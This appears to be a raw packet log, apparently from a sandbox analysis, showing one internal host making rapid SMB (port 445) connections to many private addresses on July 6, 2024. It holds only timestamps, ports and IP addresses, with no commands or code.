Jul 6, 2024 14:11:31.338613987 CEST	51586	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:31.338774920 CEST	445	51582	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:31.339857101 CEST	51582	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:31.341182947 CEST	445	51584	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:31.342755079 CEST	51584	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:31.342755079 CEST	51584	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:31.343606949 CEST	445	51586	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:31.343662024 CEST	51586	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:31.343744993 CEST	51586	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:31.348107100 CEST	445	51584	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:31.348659992 CEST	445	51584	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:31.349174976 CEST	445	51586	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:31.349225998 CEST	51586	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:31.351831913 CEST	51588	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:31.357064962 CEST	445	51588	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:31.357124090 CEST	51588	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:31.357333899 CEST	51588	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:31.366620064 CEST	445	51588	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:31.367203951 CEST	445	51588	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:31.367341995 CEST	51589	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:31.367341995 CEST	51591	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:31.368490934 CEST	51588	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:31.368491888 CEST	51592	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:31.371948004 CEST	51590	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:31.373697996 CEST	445	51589	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:31.373936892 CEST	445	51591	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:31.374188900 CEST	51589	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:31.374188900 CEST	51589	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:31.374188900 CEST	51591	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:31.374188900 CEST	51591	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:31.374536037 CEST	445	51592	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:31.378417969 CEST	51592	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:31.378417969 CEST	51592	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:31.378663063 CEST	445	51590	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:31.379369020 CEST	445	51589	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:31.379674911 CEST	445	51591	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:31.379847050 CEST	445	51589	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:31.379980087 CEST	445	51591	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:31.382596016 CEST	51594	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:31.382869959 CEST	51590	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:31.382869959 CEST	51590	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:31.383569956 CEST	51595	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:31.385431051 CEST	445	51592	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:31.387392044 CEST	51592	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:31.392649889 CEST	445	51594	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:31.392735958 CEST	51594	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:31.392858028 CEST	51594	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:31.393136978 CEST	445	51590	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:31.393297911 CEST	445	51595	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:31.393352032 CEST	51595	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:31.393435955 CEST	51595	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:31.393635035 CEST	445	51590	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:31.400312901 CEST	445	51594	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:31.402239084 CEST	445	51594	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:31.402596951 CEST	445	51595	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:31.403429985 CEST	51598	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:31.406629086 CEST	51595	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:31.409636974 CEST	445	51598	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:31.419271946 CEST	51598	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:31.419271946 CEST	51598	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:31.419806957 CEST	51599	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:31.419806957 CEST	51601	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:31.428821087 CEST	445	51599	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:31.428950071 CEST	445	51601	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:31.430201054 CEST	51600	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:31.431626081 CEST	445	51598	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:31.431870937 CEST	51599	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:31.431870937 CEST	51601	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:31.431870937 CEST	51599	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:31.431870937 CEST	51601	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:31.435125113 CEST	445	51598	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:31.435137987 CEST	445	51600	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:31.435183048 CEST	51598	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:31.436876059 CEST	445	51599	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:31.437243938 CEST	445	51599	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:31.437608957 CEST	445	51601	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:31.438085079 CEST	51604	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:31.438085079 CEST	51601	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:31.439721107 CEST	51600	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:31.439721107 CEST	51600	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:31.442883968 CEST	445	51604	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:31.442941904 CEST	51604	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:31.443137884 CEST	51604	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:31.444772005 CEST	445	51600	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:31.444852114 CEST	445	51600	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:31.448093891 CEST	445	51604	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:31.448287964 CEST	445	51604	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:31.449292898 CEST	51605	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:31.449292898 CEST	51604	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:31.454802036 CEST	445	51605	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:31.455806971 CEST	51605	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:31.455806971 CEST	51605	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:31.461990118 CEST	51609	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:31.465600967 CEST	51607	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:31.467216969 CEST	445	51609	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:31.467678070 CEST	445	51605	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:31.468843937 CEST	51609	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:31.469079971 CEST	51605	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:31.471609116 CEST	51609	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:31.472064018 CEST	445	51607	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:31.474798918 CEST	51608	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:31.474798918 CEST	51610	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:31.475918055 CEST	445	51609	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:31.476010084 CEST	51609	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:31.477037907 CEST	445	51609	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:31.478499889 CEST	51607	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:31.478499889 CEST	51607	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:31.479192972 CEST	51612	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:31.482908964 CEST	445	51609	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:31.483927011 CEST	445	51607	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:31.484121084 CEST	51613	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:31.484972000 CEST	445	51608	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:31.484981060 CEST	445	51610	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:31.487961054 CEST	445	51612	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:31.488018990 CEST	51612	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:31.488075018 CEST	51612	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:31.491806984 CEST	51608	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:31.491806984 CEST	51610	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:31.491806984 CEST	51610	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:31.491806984 CEST	51608	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:31.492075920 CEST	51615	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:31.494505882 CEST	51617	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:31.502971888 CEST	445	51612	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:31.502995014 CEST	445	51613	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:31.503043890 CEST	445	51615	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:31.503052950 CEST	51613	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:31.503061056 CEST	445	51608	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:31.503093958 CEST	51615	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:31.503182888 CEST	51615	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:31.503426075 CEST	445	51617	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:31.503475904 CEST	51617	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:31.503541946 CEST	51617	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:31.506880045 CEST	51618	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:31.507539988 CEST	445	51610	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:31.508184910 CEST	51619	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:31.508213997 CEST	51620	445	192.168.2.6	192.168.3.1
Jul 6, 2024 14:11:31.508999109 CEST	445	51612	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:31.510231018 CEST	51613	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:31.510674000 CEST	445	51608	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:31.510690928 CEST	445	51610	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:31.511528969 CEST	445	51615	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:31.514590025 CEST	445	51613	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:31.514599085 CEST	445	51617	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:31.519434929 CEST	51617	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:31.520561934 CEST	51610	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:31.520561934 CEST	51613	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:31.522819996 CEST	51621	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:31.523072958 CEST	51622	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:31.526675940 CEST	445	51618	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:31.526706934 CEST	445	51619	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:31.526732922 CEST	445	51620	192.168.3.1	192.168.2.6
Jul 6, 2024 14:11:31.526748896 CEST	51618	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:31.526977062 CEST	51619	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:31.526978016 CEST	51620	445	192.168.2.6	192.168.3.1
Jul 6, 2024 14:11:31.527031898 CEST	445	51613	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:31.527055979 CEST	51619	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:31.528985023 CEST	51618	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:31.528985023 CEST	51624	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:31.529346943 CEST	445	51621	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:31.529408932 CEST	51621	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:31.529469967 CEST	445	51622	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:31.529481888 CEST	51621	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:31.532531023 CEST	445	51618	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:31.532591105 CEST	51618	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:31.532768011 CEST	51620	445	192.168.2.6	192.168.3.1
Jul 6, 2024 14:11:31.532768011 CEST	51623	445	192.168.2.6	192.168.3.2
Jul 6, 2024 14:11:31.533046007 CEST	51622	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:31.533046007 CEST	51622	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:31.533310890 CEST	445	51619	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:31.533358097 CEST	51619	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:31.536585093 CEST	445	51620	192.168.3.1	192.168.2.6
Jul 6, 2024 14:11:31.536868095 CEST	445	51618	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:31.541088104 CEST	51620	445	192.168.2.6	192.168.3.1
Jul 6, 2024 14:11:31.541088104 CEST	51625	445	192.168.2.6	192.168.3.3
Jul 6, 2024 14:11:31.543147087 CEST	51626	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:31.546952963 CEST	445	51621	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:31.547013044 CEST	445	51624	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:31.547023058 CEST	445	51618	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:31.547043085 CEST	445	51622	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:31.547051907 CEST	445	51620	192.168.3.1	192.168.2.6
Jul 6, 2024 14:11:31.547063112 CEST	445	51623	192.168.3.2	192.168.2.6
Jul 6, 2024 14:11:31.547173023 CEST	51623	445	192.168.2.6	192.168.3.2
Jul 6, 2024 14:11:31.547301054 CEST	51623	445	192.168.2.6	192.168.3.2
Jul 6, 2024 14:11:31.547401905 CEST	51624	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:31.547401905 CEST	51624	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:31.548954010 CEST	445	51625	192.168.3.3	192.168.2.6
Jul 6, 2024 14:11:31.549005985 CEST	445	51626	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:31.549905062 CEST	51626	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:31.549905062 CEST	51626	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:31.550196886 CEST	51625	445	192.168.2.6	192.168.3.3
Jul 6, 2024 14:11:31.550196886 CEST	51625	445	192.168.2.6	192.168.3.3
Jul 6, 2024 14:11:31.551012993 CEST	445	51621	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:31.555052042 CEST	51627	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:31.555218935 CEST	51628	445	192.168.2.6	192.168.3.4
Jul 6, 2024 14:11:31.555902004 CEST	445	51622	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:31.559228897 CEST	445	51626	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:31.559238911 CEST	445	51624	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:31.559377909 CEST	445	51623	192.168.3.2	192.168.2.6
Jul 6, 2024 14:11:31.559386969 CEST	445	51623	192.168.3.2	192.168.2.6
Jul 6, 2024 14:11:31.560117006 CEST	445	51624	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:31.560388088 CEST	51623	445	192.168.2.6	192.168.3.2
Jul 6, 2024 14:11:31.560410023 CEST	445	51627	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:31.560508966 CEST	445	51628	192.168.3.4	192.168.2.6
Jul 6, 2024 14:11:31.560534000 CEST	51627	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:31.560570955 CEST	51628	445	192.168.2.6	192.168.3.4
Jul 6, 2024 14:11:31.560718060 CEST	51627	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:31.562372923 CEST	445	51626	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:31.563093901 CEST	51624	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:31.563093901 CEST	51626	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:31.566668987 CEST	445	51625	192.168.3.3	192.168.2.6
Jul 6, 2024 14:11:31.567580938 CEST	445	51625	192.168.3.3	192.168.2.6
Jul 6, 2024 14:11:31.567626953 CEST	51625	445	192.168.2.6	192.168.3.3
Jul 6, 2024 14:11:31.568661928 CEST	445	51627	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:31.568768978 CEST	51627	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:31.568829060 CEST	445	51628	192.168.3.4	192.168.2.6
Jul 6, 2024 14:11:31.569645882 CEST	51628	445	192.168.2.6	192.168.3.4
Jul 6, 2024 14:11:31.569645882 CEST	51628	445	192.168.2.6	192.168.3.4
Jul 6, 2024 14:11:31.573580027 CEST	51630	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:31.576049089 CEST	445	51628	192.168.3.4	192.168.2.6
Jul 6, 2024 14:11:31.578531981 CEST	445	51630	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:31.578598022 CEST	51630	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:31.578696966 CEST	51630	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:31.580981016 CEST	51629	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:31.582977057 CEST	51631	445	192.168.2.6	192.168.3.5
Jul 6, 2024 14:11:31.584855080 CEST	445	51630	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:31.585020065 CEST	51630	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:31.586204052 CEST	51632	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:31.587781906 CEST	51633	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:31.589262962 CEST	445	51631	192.168.3.5	192.168.2.6
Jul 6, 2024 14:11:31.590070963 CEST	51631	445	192.168.2.6	192.168.3.5
Jul 6, 2024 14:11:31.590070963 CEST	51631	445	192.168.2.6	192.168.3.5
Jul 6, 2024 14:11:31.592101097 CEST	51634	445	192.168.2.6	192.168.3.6
Jul 6, 2024 14:11:31.592101097 CEST	51635	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:31.592715025 CEST	445	51633	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:31.594207048 CEST	51633	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:31.594207048 CEST	51633	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:31.596781969 CEST	445	51629	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:31.598598957 CEST	445	51634	192.168.3.6	192.168.2.6
Jul 6, 2024 14:11:31.598608017 CEST	445	51635	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:31.601536989 CEST	445	51632	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:31.601816893 CEST	51637	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:31.602207899 CEST	445	51633	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:31.603496075 CEST	51634	445	192.168.2.6	192.168.3.6
Jul 6, 2024 14:11:31.603497028 CEST	51635	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:31.603497028 CEST	51635	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:31.603497028 CEST	51634	445	192.168.2.6	192.168.3.6
Jul 6, 2024 14:11:31.603497028 CEST	51638	445	192.168.2.6	192.168.3.7
Jul 6, 2024 14:11:31.603749990 CEST	51639	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:31.604049921 CEST	51636	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:31.604049921 CEST	51632	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:31.604049921 CEST	51632	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:31.607171059 CEST	445	51631	192.168.3.5	192.168.2.6
Jul 6, 2024 14:11:31.608742952 CEST	445	51638	192.168.3.7	192.168.2.6
Jul 6, 2024 14:11:31.608798981 CEST	51638	445	192.168.2.6	192.168.3.7
Jul 6, 2024 14:11:31.608895063 CEST	51638	445	192.168.2.6	192.168.3.7
Jul 6, 2024 14:11:31.608933926 CEST	445	51639	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:31.608979940 CEST	51639	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:31.608998060 CEST	445	51634	192.168.3.6	192.168.2.6
Jul 6, 2024 14:11:31.609036922 CEST	51634	445	192.168.2.6	192.168.3.6
Jul 6, 2024 14:11:31.609285116 CEST	445	51635	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:31.609333038 CEST	51635	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:31.609603882 CEST	51629	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:31.609603882 CEST	51629	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:31.611475945 CEST	51631	445	192.168.2.6	192.168.3.5
Jul 6, 2024 14:11:31.613554955 CEST	445	51636	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:31.613662958 CEST	445	51632	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:31.613734961 CEST	445	51632	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:31.614051104 CEST	445	51638	192.168.3.7	192.168.2.6
Jul 6, 2024 14:11:31.614087105 CEST	51638	445	192.168.2.6	192.168.3.7
Jul 6, 2024 14:11:31.614144087 CEST	445	51639	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:31.614171982 CEST	51639	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:31.614691019 CEST	51636	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:31.614691019 CEST	51636	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:31.616110086 CEST	51639	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:31.616406918 CEST	445	51637	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:31.616691113 CEST	445	51629	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:31.616738081 CEST	445	51629	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:31.617543936 CEST	51640	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:31.620251894 CEST	51641	445	192.168.2.6	192.168.3.8
Jul 6, 2024 14:11:31.620645046 CEST	445	51636	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:31.620956898 CEST	445	51636	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:31.621048927 CEST	445	51639	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:31.622147083 CEST	51637	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:31.622147083 CEST	51637	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:31.622349024 CEST	445	51640	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:31.622396946 CEST	51640	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:31.624222994 CEST	51640	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:31.627722979 CEST	445	51637	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:31.627768040 CEST	51637	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:31.627840042 CEST	445	51640	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:31.629484892 CEST	445	51640	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:31.629811049 CEST	445	51637	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:31.631751060 CEST	51640	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:31.632888079 CEST	445	51637	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:31.632976055 CEST	445	51641	192.168.3.8	192.168.2.6
Jul 6, 2024 14:11:31.636802912 CEST	51641	445	192.168.2.6	192.168.3.8
Jul 6, 2024 14:11:31.638822079 CEST	51642	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:31.641716957 CEST	51644	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:31.642841101 CEST	445	51641	192.168.3.8	192.168.2.6
Jul 6, 2024 14:11:31.644661903 CEST	445	51642	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:31.645040989 CEST	51642	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:31.645040989 CEST	51642	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:31.652355909 CEST	51645	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:31.655566931 CEST	445	51644	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:31.656075001 CEST	51644	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:31.656075001 CEST	51644	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:31.657171011 CEST	51641	445	192.168.2.6	192.168.3.8
Jul 6, 2024 14:11:31.657171011 CEST	51643	445	192.168.2.6	192.168.3.9
Jul 6, 2024 14:11:31.657171011 CEST	51641	445	192.168.2.6	192.168.3.8
Jul 6, 2024 14:11:31.658205986 CEST	445	51642	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:31.658214092 CEST	445	51642	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:31.659945011 CEST	51646	445	192.168.2.6	192.168.3.10
Jul 6, 2024 14:11:31.662843943 CEST	445	51645	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:31.662928104 CEST	51645	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:31.663265944 CEST	51645	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:31.665039062 CEST	445	51641	192.168.3.8	192.168.2.6
Jul 6, 2024 14:11:31.666548014 CEST	445	51644	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:31.666968107 CEST	51647	445	192.168.2.6	192.168.3.11
Jul 6, 2024 14:11:31.666968107 CEST	51648	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:31.667211056 CEST	51644	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:31.670906067 CEST	445	51643	192.168.3.9	192.168.2.6
Jul 6, 2024 14:11:31.671638012 CEST	445	51646	192.168.3.10	192.168.2.6
Jul 6, 2024 14:11:31.671756029 CEST	51643	445	192.168.2.6	192.168.3.9
Jul 6, 2024 14:11:31.671756029 CEST	51643	445	192.168.2.6	192.168.3.9
Jul 6, 2024 14:11:31.671756029 CEST	51646	445	192.168.2.6	192.168.3.10
Jul 6, 2024 14:11:31.673568010 CEST	445	51647	192.168.3.11	192.168.2.6
Jul 6, 2024 14:11:31.673607111 CEST	445	51648	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:31.673778057 CEST	445	51645	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:31.674175024 CEST	51645	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:31.677679062 CEST	51646	445	192.168.2.6	192.168.3.10
Jul 6, 2024 14:11:31.677679062 CEST	51647	445	192.168.2.6	192.168.3.11
Jul 6, 2024 14:11:31.677680016 CEST	51648	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:31.677680016 CEST	51647	445	192.168.2.6	192.168.3.11
